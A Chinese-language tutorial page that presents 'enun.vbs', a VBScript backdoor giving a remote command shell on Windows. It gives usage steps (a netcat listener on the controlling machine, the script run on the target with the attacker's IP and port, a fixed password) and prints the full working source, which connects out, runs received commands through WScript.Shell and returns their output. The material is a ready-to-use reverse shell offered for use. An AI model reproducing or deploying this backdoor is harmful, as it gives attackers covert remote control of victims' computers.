VBScript 打造自己的遠(yuǎn)程CMDShell附使用教程
使用方法:
1,控制:nc.exe,執(zhí)行:nc -l -v -p 1234;

2,目標(biāo):cscript.exe enun.vbs IP Port;

3,密碼:enun。
幾點(diǎn)說(shuō)明:
1,退出 SHELL,請(qǐng)輸入 “exit”,不要用 “Ctrl + C”,這樣的話(huà)只能等目標(biāo)重啟或手動(dòng)運(yùn)行后門(mén)才能連接;
2,Windows 7 等環(huán)境下普通標(biāo)準(zhǔn)用戶(hù)也能使用,但是獲取的權(quán)限相對(duì)有限。
3,內(nèi)部命令及管道使用如下圖:

相關(guān)下載:
1,視頻演示
2,vb6controls
enun.vbs 源碼:
'--------------------------------------------------------------------------
' Copyright (c) lxzzr. All rights reserved.
' ScriptName: enun.vbs
' Creation Date: 28/8/2012
' Last Modified: 28/8/2012
' Author: lxzzr, www.enun.net
' E-mail: lxzzr@21cn.com
' Usage: Cscript.exe //nologo enun.vbs IP Port
'--------------------------------------------------------------------------
On Error Resume Next
Public SocketObj, ExecObj, ShellObj
RemoteHost = Wscript.Arguments(0)
RemotePort = Wscript.Arguments(1)
Do
Do While (SocketObj.State <> 7)
WScript.Echo "Try Connect to " & RemoteHost & ":" & RemotePort & " ..."
Set SocketObj = WScript.CreateObject("MSWinsock.Winsock")
SocketObj.Protocol = 0
SocketObj.RemoteHost = RemoteHost
SocketObj.RemotePort = RemotePort
SocketObj.Connect
WScript.Sleep 3000
Loop
WScript.Echo "Connected to server."
SocketObj.SendData SocketObj.LocalHostName & " is Connected, Enter Password: "
Do While (SocketObj.BytesReceived = 0)
WScript.Sleep 10
Loop
'密碼驗(yàn)證
SocketObj.GetData Authkey, vbString
If Split(Authkey, chr(10), -1, 1)(0) = "enun" Then
Set ShellObj = CreateObject("WScript.Shell")
sRevData = " "
SocketObj.SendData "Logon Success, Welcome!" & chr(13) & chr(10)
'循環(huán)等待執(zhí)行命令
Do
Set ExecObj = ShellObj.Exec(Split(sRevData, chr(10), -1, 1)(0))
SocketObj.SendData ExecObj.StdOut.ReadAll
SocketObj.SendData ExecObj.StdErr.ReadAll
If sRevData <> "" Then
SocketObj.SendData chr(10) & "[" & SocketObj.LocalHostName & "@" & "enun]#: "
End If
If Left(sRevData, 4) = "exit" Then
SocketObj.Close
Exit Do
End If
SocketObj.GetData sRevData, vbString
WScript.Sleep 1000
Loop
Else
LockoutBadCount = LockoutBadCount + 1
SocketObj.SendData "Logon Failure: Unknown user name or bad password." & chr(13) & chr(10)
WScript.Sleep 1000
End If
'賬戶(hù)策略
If (LockoutBadCount > 3) Then
SocketObj.SendData "The User Account is locked!" & chr(13) & chr(10)
WScript.Sleep 1000
SocketObj.Close
LockoutBadCount = 0
WScript.Sleep 600*1000
End If
Loop
相關(guān)文章
vbs實(shí)現(xiàn)的下拉框?qū)?yīng)鍵入值
vbs實(shí)現(xiàn)的下拉框?qū)?yīng)鍵入值...2007-03-03用VBS腳本實(shí)現(xiàn)更換Windows Xp序列號(hào)的代碼
用vbs實(shí)現(xiàn)更改winxp序列號(hào),不用任何軟件2008-05-05VBS數(shù)組函數(shù)學(xué)習(xí)實(shí)例分析
VBS數(shù)組在應(yīng)用中沒(méi)有像其他語(yǔ)句那么廣泛,VBS數(shù)組存在不少功能上的局限性(如二維數(shù)組的定義、賦值),在使用上也沒(méi)有java等語(yǔ)言那么便捷2013-04-04改進(jìn)后的mkw3site.vbs(創(chuàng)建虛擬目錄)
改進(jìn)后的mkw3site.vbs(創(chuàng)建虛擬目錄)...2007-03-03VBS教程:函數(shù)-LoadPicture 函數(shù)
VBS教程:函數(shù)-LoadPicture 函數(shù)...2006-11-11海陽(yáng)頂端網(wǎng)進(jìn)百度blog必須輸入密碼的vbscript代碼
今天訪問(wèn)haiyangtop官方網(wǎng)站,發(fā)現(xiàn)他的blog必須要輸入密碼所以我給出下面的代碼2008-06-06利用vbscript腳本修改文件內(nèi)容,此適用于自動(dòng)化的操作中
利用vbscript腳本修改文件內(nèi)容,此適用于自動(dòng)化的操作中...2006-12-12